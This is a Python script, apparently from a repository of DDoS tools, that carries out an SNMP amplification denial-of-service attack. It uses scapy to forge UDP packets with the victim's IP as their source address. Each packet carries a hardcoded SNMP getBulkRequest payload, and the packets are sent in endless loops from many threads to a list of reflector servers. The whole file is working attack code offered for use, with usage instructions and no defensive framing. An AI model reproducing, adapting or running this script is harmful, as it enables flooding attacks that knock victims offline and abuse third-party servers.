Path: blob/master/DDOS Scripts/AMP Methods/NTP - SNMP - HAVEN - DNS -DRDOS - FRAG - SUDP - MEMCACHED/snmp-py.py
4622 views
#!/usr/bin/env python1from scapy.all import *2import sys3import threading4import time5678#packet sender9def deny():10#Import globals to function11global snmplist12global currentserver13global data14global target15snmpserver = snmplist[currentserver] #Get new server16currentserver = currentserver + 1 #Increment for next17packet = IP(dst=snmpserver,src=target)/UDP(sport=161,dport=161)/Raw(load=data) #BUILD IT18send(packet,loop=1) #SEND IT1920#So I dont have to have the same stuff twice21def printhelp():22print "SNMP Amplification DOS Attack"23print "Usage snmpdos.py <target ip> <snmpserver list> <number of threads>"24print "ex: ex: snmpdos.py 1.2.3.4 file.txt 10"25print "SNMP serverlist file should contain one IP per line"26print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"27exit(0)2829if len(sys.argv) < 4:30printhelp()31#Fetch Args32target = sys.argv[1]3334#Help out idiots35if target in ("help","-h","h","?","--h","--help","/?"):36printhelp()3738snmpserverfile = sys.argv[2]39numberthreads = int(sys.argv[3])40#System for accepting bulk input41snmplist = []42currentserver = 043with open(snmpserverfile) as f:44snmplist = f.readlines()4546#Make sure we dont out of bounds47if numberthreads > int(len(snmplist)):48print "Attack Aborted: More threads than servers"49print "Next time dont create more threads than servers"50exit(0)5152#Magic Packet getBulkEequest53data = "\x30\x37\x02\x01" #snmp54data += "\x01" #v255data += "\x04\x06\x70\x75\x62\x6c\x69\x63" #community=public56data += "\xa5\x2a\x02\x04\x06\x29\x07\x31\x02\x01\x00\x02\x01\x0a\x30\x1c\x30\x0b\x06\x07\x2b\x06\x01\x02\x01\x01\x01\x05\x00\x30\x0d\x06\x09\x2b\x06\x01\x02\x01\x01\x09\x01\x03\x05\x00" #getBulkRequest575859#Hold our threads60threads = []61print "Starting to flood: "+ target + " using snmp list: " + snmpserverfile + " With " + str(numberthreads) + " threads"62print "Use CTRL+C to stop attack"6364#Thread spawner65for n in range(numberthreads):66thread = threading.Thread(target=deny)67thread.daemon = True68thread.start()6970threads.append(thread)7172#In progress!73print "Sending..."7475#Keep alive so ctrl+c still kills all them threads76while True:77time.sleep(1)787980